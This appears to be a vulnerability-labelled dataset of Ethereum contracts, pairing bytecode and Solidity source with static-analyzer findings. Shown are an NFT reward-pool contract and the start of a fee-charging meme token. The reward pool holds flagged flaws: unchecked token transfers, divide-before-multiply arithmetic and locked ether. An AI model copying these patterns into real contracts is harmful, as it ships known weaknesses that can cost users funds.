0fd5b600154610929906001600160a01b031633836116ed565b336000908152600860205260409020546109439082611744565b336000908152600860205260409020556007546109609082611744565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610d09565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015801590610b0557506000600754115b15610c2e576001600c540391505b6000828152600b6020526040902060010154421115610c2e576005546000838152600b6020526040812060010154909190610b4f904290611744565b1115610b8c576000838152600b602052604090206002810154600554600190920154610b8592610b7f919061178f565b90611744565b9050610bac565b6000838152600b6020526040902060020154610ba9904290611744565b90505b6005546000848152600b60205260408120549091610bd491610bce90856117e9565b90611842565b6007546001600160a01b03881660009081526008602052604081205492935091610c049190610bce9085906117e9565b9050610c10848261178f565b935084610c1f57505050610c2e565b50506000199092019150610b13565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c7557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610ce1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d53576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d5b61146c565b33600090815260096020526040902054811115610d845750336000908152600960205260409020545b60008111610dd0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610de7906001600160a01b031633836116ed565b33600090815260096020526040902054610e019082611744565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e9a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610ea261146c565b600a546000805b82811015610ef457336001600160a01b0316600a8281548110610ec857fe5b6000918252602090912001546001600160a01b03161415610eec5760019150610ef4565b600101610ea9565b5080610f3d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f67906103e890610bce90879063ffffffff600160a01b9091048116906117e916565b90506000610f758583611744565b90508115610f9c57600354600154610f9c916001600160a01b039182169133911685611884565b801561103557600454600154610fc1916001600160a01b039182169133911684611884565b600754610fce908261178f565b60075533600090815260086020526040902054610feb908261178f565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25b5050505050565b60065461010090046001600160a01b0316331461108e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314611102576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111c5576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000811161122d576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611284576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60025461129c906001600160a01b0316333084611884565b6112a461146c565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461136a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113de576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561143557600080fd5b505afa158015611449573d6000803e3d6000fd5b505050506040513d602081101561145f57600080fd5b5051610e53565b600c5481565b6000600c5411801561148057506000600754115b156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b60205260408120600101549091906114cb904290611744565b1115611519576000838152600b6020526040902060028101546005546001909201546114fb92610b7f919061178f565b6000848152600b602052604090206000196001909101559050611539565b6000838152600b6020526040902060020154611536904290611744565b90505b6000838152600b6020526040812042600282015560055490546115619190610bce90856117e9565b905060008093505b600a5484101561163d576115b9600754610bce60086000600a898154811061158d57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117e9565b90506115fb8160096000600a88815481106115d057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549061178f565b60096000600a878154811061160c57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205560019390930192611569565b8461164a575050506106eb565b5050600019909201915061148f565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116e55780601f106116ba576101008083540402835291602001916116e5565b820191906000526020600020905b8154815290600101906020018083116116c857829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261173f9084906118e4565b505050565b600061178683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a9c565b90505b92915050565b600082820183811015611786576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117f857506000611789565b8282028284828161180557fe5b04146117865760405162461bcd60e51b8152600401808060200182810382526021815260200180611c686021913960400191505060405180910390fd5b600061178683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b33565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118de9085906118e4565b50505050565b6118f6826001600160a01b0316611b98565b611947576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119855780518252601f199092019160209182019101611966565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119e7576040519150601f19603f3d011682016040523d82523d6000602084013e6119ec565b606091505b509150915081611a43576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118de57808060200190516020811015611a5f57600080fd5b50516118de5760405162461bcd60e51b815260040180806020018281038252602a815260200180611c89602a913960400191505060405180910390fd5b60008184841115611b2b5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611af0578181015183820152602001611ad8565b50505050905090810190601f168015611b1d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b825760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611af0578181015183820152602001611ad8565b506000838581611b8e57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611bcc5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611c1557805160ff1916838001178555611c42565b82800160010185558215611c42579182015b82811115611c42578251825591602001919060010190611c27565b50611c4e929150611c52565b5090565b5b80821115611c4e5760008155600101611c5356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122011a7013d2263b73314060d0062ed7f8d7c5a1c1a3b85b28b6aa68b683db5257064736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
6,887
0x04bdecd687afaf4c1ef4ba1a8b7e6388d791fe55
/** *Submitted for verification at Etherscan.io on 2022-02-22 */ // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library LowGasSafeMath { /// @notice Returns x + y, reverts if sum overflows uint256 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function add32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } function div(uint256 x, uint256 y) internal pure returns(uint256 z){ require(y > 0); z=x/y; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract OwnableData { address public owner; address public Cerberus; address public Nodes; address public pendingOwner; } contract Ownable is OwnableData { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /// @notice `owner` defaults to msg.sender on construction. constructor() { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner. /// Can only be invoked by the current `owner`. /// @param newOwner Address of the new owner. /// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`. /// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise. function transferOwnership( address newOwner, bool direct, bool renounce ) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; pendingOwner = address(0); } else { // Effects pendingOwner = newOwner; } } /// @notice Needs to be called by `pendingOwner` to claim ownership. function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } function setCerberusAddress(address _cerberus) public { require(msg.sender == owner, "Ownable: caller is not the owner"); Cerberus = _cerberus; } function setNodesAddress(address _nodes) public { require(msg.sender == owner, "Ownable: caller is not the owner"); Nodes = _nodes; } /// @notice Only allows the `owner` to execute the function. modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } /// @notice Only allows the `owner` to execute the function. modifier onlyCerberus() { require(msg.sender == Cerberus, "Ownable: caller is not the Cerberus"); _; } modifier onlyNodes() { require(msg.sender == Nodes, "Ownable: caller is not the nodes"); _; } } contract rewardPool is Ownable { using LowGasSafeMath for uint; using LowGasSafeMath for uint32; struct NftData{ uint nodeType; address owner; uint256 lastClaim; } uint256[5] public rewardRates; IUniswapV2Router02 public uniswapV2Router; mapping (uint => NftData) public nftInfo; uint totalNodes = 0; constructor(address _cerberusAddress) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; Cerberus = _cerberusAddress; } receive() external payable { } function addNodeInfo(uint _nftId, uint _nodeType, address _owner) external onlyNodes returns (bool success) { require(nftInfo[_nftId].owner == address(0), "Node already exists"); nftInfo[_nftId].nodeType = _nodeType; nftInfo[_nftId].owner = _owner; nftInfo[_nftId].lastClaim = block.timestamp; totalNodes += 1; return true; } function updateNodeOwner(uint _nftId, address _owner) external onlyNodes returns (bool success) { require(nftInfo[_nftId].owner != address(0), "Node does not exist"); nftInfo[_nftId].owner = _owner; return true; } function updateRewardRates(uint256[5] memory _rewardRates) external onlyOwner { // Reward rate per day for each type of node (1e9 = 1 Sin) for (uint i = 1; i < totalNodes; i++) { claimReward(i); } rewardRates = _rewardRates; } function pendingRewardFor(uint _nftId) public view returns (uint256 _reward) { uint _nodeType = nftInfo[_nftId].nodeType; uint _lastClaim = nftInfo[_nftId].lastClaim; uint _daysSinceLastClaim = ((block.timestamp - _lastClaim).mul(1e9)) / 86400; _reward = (_daysSinceLastClaim * rewardRates[_nodeType-1]).div(1e9); return _reward; } function claimReward(uint _nftId) public returns (bool success) { uint _reward = pendingRewardFor(_nftId); nftInfo[_nftId].lastClaim = block.timestamp; IERC20(Cerberus).transfer(nftInfo[_nftId].owner, _reward); return true; } }
0x6080604052600436106100f75760003560e01c80638b9b46671161008a578063ae169a5011610059578063ae169a5014610377578063dc1ecac6146103a1578063e30c3978146103d4578063f2caeb1e146103e9576100fe565b80638b9b4667146102c15780638da5cb5b14610314578063977495061461032957806399ecb9e214610362576100fe565b806341866ed9116100c657806341866ed914610228578063486ea48d1461025b5780634e71e0c8146102705780636b7623a914610285576100fe565b8063078dfbe71461010357806315e50ed0146101485780631694505e146101a75780631f8bc790146101d8576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101466004803603606081101561012657600080fd5b506001600160a01b03813516906020810135151590604001351515610413565b005b34801561015457600080fd5b50610146600480360360a081101561016b57600080fd5b810190808060a0019060058060200260405190810160405280929190826005602002808284376000920191909152509194506105499350505050565b3480156101b357600080fd5b506101bc6105c7565b604080516001600160a01b039092168252519081900360200190f35b3480156101e457600080fd5b50610202600480360360208110156101fb57600080fd5b50356105d6565b604080519384526001600160a01b03909216602084015282820152519081900360600190f35b34801561023457600080fd5b506101466004803603602081101561024b57600080fd5b50356001600160a01b0316610600565b34801561026757600080fd5b506101bc61066f565b34801561027c57600080fd5b5061014661067e565b34801561029157600080fd5b506102af600480360360208110156102a857600080fd5b5035610740565b60408051918252519081900360200190f35b3480156102cd57600080fd5b50610300600480360360608110156102e457600080fd5b50803590602081013590604001356001600160a01b03166107a1565b604080519115158252519081900360200190f35b34801561032057600080fd5b506101bc6108af565b34801561033557600080fd5b506103006004803603604081101561034c57600080fd5b50803590602001356001600160a01b03166108be565b34801561036e57600080fd5b506101bc6109b6565b34801561038357600080fd5b506103006004803603602081101561039a57600080fd5b50356109c5565b3480156103ad57600080fd5b50610146600480360360208110156103c457600080fd5b50356001600160a01b0316610a71565b3480156103e057600080fd5b506101bc610ae0565b3480156103f557600080fd5b506102af6004803603602081101561040c57600080fd5b5035610aef565b6000546001600160a01b03163314610460576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b8115610528576001600160a01b03831615158061047a5750805b6104c3576040805162461bcd60e51b81526020600482015260156024820152744f776e61626c653a207a65726f206164647265737360581b604482015290519081900360640190fd5b600080546040516001600160a01b03808716939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0385166001600160a01b031991821617909155600380549091169055610544565b600380546001600160a01b0319166001600160a01b0385161790555b505050565b6000546001600160a01b03163314610596576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b60015b600b548110156105b5576105ac816109c5565b50600101610599565b506105c36004826005610b49565b5050565b6009546001600160a01b031681565b600a6020526000908152604090208054600182015460029092015490916001600160a01b03169083565b6000546001600160a01b0316331461064d576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6003546001600160a01b03163381146106de576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316179055600380549091169055565b6000818152600a602052604081208054600290910154826201518061076c42849003633b9aca00610b06565b8161077357fe5b049050610798633b9aca006004600186036005811061078e57fe5b0154830290610b2a565b95945050505050565b6002546000906001600160a01b03163314610803576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f646573604482015290519081900360640190fd5b6000848152600a60205260409020600101546001600160a01b031615610866576040805162461bcd60e51b81526020600482015260136024820152724e6f646520616c72656164792065786973747360681b604482015290519081900360640190fd5b506000928352600a6020526040909220908155600180820180546001600160a01b0319166001600160a01b03949094169390931790925542600290910155600b80548201905590565b6000546001600160a01b031681565b6002546000906001600160a01b03163314610920576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f646573604482015290519081900360640190fd5b6000838152600a60205260409020600101546001600160a01b0316610982576040805162461bcd60e51b8152602060048201526013602482015272139bd91948191bd95cc81b9bdd08195e1a5cdd606a1b604482015290519081900360640190fd5b506000828152600a60205260409020600190810180546001600160a01b0319166001600160a01b0384161790555b92915050565b6001546001600160a01b031681565b6000806109d183610740565b6000848152600a6020908152604080832042600282015560018054910154825163a9059cbb60e01b81526001600160a01b039182166004820152602481018790529251959650169363a9059cbb93604480840194938390030190829087803b158015610a3c57600080fd5b505af1158015610a50573d6000803e3d6000fd5b505050506040513d6020811015610a6657600080fd5b506001949350505050565b6000546001600160a01b03163314610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020610b9d833981519152604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031681565b60048160058110610aff57600080fd5b0154905081565b6000821580610b2157505081810281838281610b1e57fe5b04145b6109b057600080fd5b6000808211610b3857600080fd5b818381610b4157fe5b049392505050565b8260058101928215610b77579160200282015b82811115610b77578251825591602001919060010190610b5c565b50610b83929150610b87565b5090565b5b80821115610b835760008155600101610b8856fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220fc90f6c6898c9774948a23f3675dc88a71ee150b493536696bdfc84743594a4964736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,888
0xf494af5980794d23ec1ac60572557e35c24342a5
/* 2% Rewards fee 6% Marketing fee https://t.me/Dogeanator https://twitter.com/DogeanatorETH https://www.dogeanator.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DOGEANATOR is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dogeanator"; string private constant _symbol = "DOGEANATOR"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3706a8Eca0b612C3F474C9336471de29640b425d); address payable private _marketingAddress = payable(0x3706a8Eca0b612C3F474C9336471de29640b425d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = 